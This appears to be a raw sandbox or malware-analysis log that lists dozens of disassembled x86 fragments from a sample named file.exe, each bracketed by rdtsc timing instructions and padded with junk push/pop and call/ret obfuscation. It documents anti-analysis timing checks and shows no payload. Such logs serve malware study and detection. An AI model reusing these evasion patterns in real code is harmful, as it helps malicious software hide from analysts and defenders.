Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0378 second address: 7C03DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 jmp 00007FE8B8D1B40Ch 0x0000000d pop ecx 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 pushad 0x00000014 jmp 00007FE8B8D1B415h 0x00000019 push edi 0x0000001a pop edi 0x0000001b popad 0x0000001c pop eax 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 popad 0x00000026 jng 00007FE8B8D1B417h 0x0000002c jmp 00007FE8B8D1B411h 0x00000031 popad 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jno 00007FE8B8D1B40Ch 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C05C2 second address: 7C05C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0AF9 second address: 7C0AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0AFF second address: 7C0B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE8B993118Bh 0x0000000a popad 0x0000000b push eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e jnp 00007FE8B9931186h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C14E7 second address: 7C14ED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C14ED second address: 7C14F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C14F3 second address: 7C14F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2EDF second address: 7C2EE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5223 second address: 7C5232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FE8B8D1B40Ah 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5232 second address: 7C5237 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3FD3 second address: 7C3FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6302 second address: 7C6306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6306 second address: 7C630A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C630A second address: 7C6314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6E5A second address: 7C6E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6E5E second address: 7C6E62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6E62 second address: 7C6E76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FE8B8D1B408h 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6E76 second address: 7C6E83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jl 00007FE8B993118Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C7935 second address: 7C793B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C7698 second address: 7C76A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C793B second address: 7C793F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C83D7 second address: 7C83DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA1D8 second address: 7CA1DF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF4C9 second address: 7CF4E1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE8B9931186h 0x00000008 jnp 00007FE8B9931186h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007FE8B9931186h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFAA0 second address: 7CFB22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jmp 00007FE8B8D1B40Fh 0x0000000d nop 0x0000000e call 00007FE8B8D1B415h 0x00000013 mov ebx, ecx 0x00000015 pop ebx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007FE8B8D1B408h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D2838h], edi 0x00000038 push eax 0x00000039 and bl, FFFFFFF5h 0x0000003c pop edi 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push edx 0x00000042 call 00007FE8B8D1B408h 0x00000047 pop edx 0x00000048 mov dword ptr [esp+04h], edx 0x0000004c add dword ptr [esp+04h], 0000001Ah 0x00000054 inc edx 0x00000055 push edx 0x00000056 ret 0x00000057 pop edx 0x00000058 ret 0x00000059 xchg eax, esi 0x0000005a pushad 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFB22 second address: 7CFB31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE8B9931186h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1B6D second address: 7D1B82 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE8B8D1B40Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0D40 second address: 7D0D44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1DEA second address: 7D1DEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1DEE second address: 7D1DF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D2E64 second address: 7D2E68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3CA5 second address: 7D3CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D2F61 second address: 7D2F6B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D2F6B second address: 7D2F6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4BD6 second address: 7D4BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5CDE second address: 7D5CFD instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE8B993118Ch 0x00000008 jp 00007FE8B9931186h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 je 00007FE8B99311A4h 0x00000017 push eax 0x00000018 push edx 0x00000019 jno 00007FE8B9931186h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4DCF second address: 7D4E84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B410h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnl 00007FE8B8D1B42Ch 0x00000010 pushad 0x00000011 jmp 00007FE8B8D1B413h 0x00000016 jmp 00007FE8B8D1B411h 0x0000001b popad 0x0000001c nop 0x0000001d xor dword ptr [ebp+122D284Ah], esi 0x00000023 push dword ptr fs:[00000000h] 0x0000002a push 00000000h 0x0000002c push esi 0x0000002d call 00007FE8B8D1B408h 0x00000032 pop esi 0x00000033 mov dword ptr [esp+04h], esi 0x00000037 add dword ptr [esp+04h], 0000001Ch 0x0000003f inc esi 0x00000040 push esi 0x00000041 ret 0x00000042 pop esi 0x00000043 ret 0x00000044 mov ebx, dword ptr [ebp+122D2AD7h] 0x0000004a mov dword ptr fs:[00000000h], esp 0x00000051 mov eax, dword ptr [ebp+122D0DC5h] 0x00000057 mov ebx, dword ptr [ebp+122D2983h] 0x0000005d push FFFFFFFFh 0x0000005f push 00000000h 0x00000061 push ebx 0x00000062 call 00007FE8B8D1B408h 0x00000067 pop ebx 0x00000068 mov dword ptr [esp+04h], ebx 0x0000006c add dword ptr [esp+04h], 00000015h 0x00000074 inc ebx 0x00000075 push ebx 0x00000076 ret 0x00000077 pop ebx 0x00000078 ret 0x00000079 mov di, B386h 0x0000007d nop 0x0000007e push ebx 0x0000007f push eax 0x00000080 push edx 0x00000081 push eax 0x00000082 pop eax 0x00000083 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7CF1 second address: 7D7CF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7CF7 second address: 7D7D41 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FE8B8D1B413h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FE8B8D1B408h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+122D1A10h], edx 0x00000033 push eax 0x00000034 push esi 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D8BA1 second address: 7D8BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D8BA5 second address: 7D8BFD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov ebx, dword ptr [ebp+122D2A33h] 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007FE8B8D1B408h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 or dword ptr [ebp+122D20C7h], ecx 0x0000002f push 00000000h 0x00000031 or bh, 00000052h 0x00000034 xchg eax, esi 0x00000035 jo 00007FE8B8D1B412h 0x0000003b ja 00007FE8B8D1B40Ch 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 push ebx 0x00000045 push edx 0x00000046 pop edx 0x00000047 pop ebx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6F10 second address: 7D6F1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7E33 second address: 7D7E37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D8BFD second address: 7D8C02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6F1B second address: 7D6F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FE8B8D1B406h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D8D31 second address: 7D8D36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D9C9F second address: 7D9CA9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE8B8D1B406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D9CA9 second address: 7D9CAE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DAD78 second address: 7DAD7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DAD7C second address: 7DAD86 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE8B9931186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DAD86 second address: 7DAE25 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE8B8D1B408h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FE8B8D1B411h 0x00000011 jno 00007FE8B8D1B408h 0x00000017 popad 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007FE8B8D1B408h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 mov bh, 19h 0x00000035 pushad 0x00000036 mov esi, dword ptr [ebp+122D2983h] 0x0000003c mov ax, bx 0x0000003f popad 0x00000040 push 00000000h 0x00000042 jmp 00007FE8B8D1B411h 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push ecx 0x0000004c call 00007FE8B8D1B408h 0x00000051 pop ecx 0x00000052 mov dword ptr [esp+04h], ecx 0x00000056 add dword ptr [esp+04h], 00000017h 0x0000005e inc ecx 0x0000005f push ecx 0x00000060 ret 0x00000061 pop ecx 0x00000062 ret 0x00000063 and edi, dword ptr [ebp+122D2BCBh] 0x00000069 push eax 0x0000006a jo 00007FE8B8D1B410h 0x00000070 push eax 0x00000071 push edx 0x00000072 push eax 0x00000073 pop eax 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE246 second address: 7DE24A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE24A second address: 7DE25C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE8B8D1B406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FE8B8D1B406h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E10FC second address: 7E1100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E623D second address: 7E6243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E6243 second address: 7E625A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B993118Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E625A second address: 7E6262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77ADCE second address: 77ADD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77ADD4 second address: 77ADFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8B8D1B40Eh 0x00000009 je 00007FE8B8D1B406h 0x0000000f popad 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jp 00007FE8B8D1B406h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77ADFA second address: 77AE15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE8B993118Fh 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AE15 second address: 77AE30 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE8B8D1B406h 0x00000008 jmp 00007FE8B8D1B411h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E59D9 second address: 7E59EB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE8B993118Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E59EB second address: 7E59FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8B8D1B40Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E59FC second address: 7E5A0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B993118Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5B5E second address: 7E5B6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007FE8B8D1B406h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5B6A second address: 7E5B6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F1320 second address: 7F1326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F1326 second address: 7F1338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a jne 00007FE8B9931186h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F1338 second address: 7F134E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8B8D1B411h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F134E second address: 7F136D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B9931197h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0020 second address: 7F003C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE8B8D1B40Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F003C second address: 7F0063 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B993118Bh 0x00000007 jnc 00007FE8B9931186h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FE8B9931192h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0063 second address: 7F0076 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edx 0x00000006 pop edx 0x00000007 pushad 0x00000008 popad 0x00000009 jns 00007FE8B8D1B406h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F05B3 second address: 7F05C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jne 00007FE8B9931192h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F05C0 second address: 7F05C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0723 second address: 7F072B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F088E second address: 7F0892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0892 second address: 7F08A0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FE8B9931186h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F08A0 second address: 7F08C5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FE8B8D1B41Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F08C5 second address: 7F08CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F08CB second address: 7F08D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F08D8 second address: 7F08FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jno 00007FE8B9931188h 0x0000000b pushad 0x0000000c jmp 00007FE8B9931196h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0A8C second address: 7F0AA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8B8D1B40Fh 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0AA6 second address: 7F0AAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0AAA second address: 7F0AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
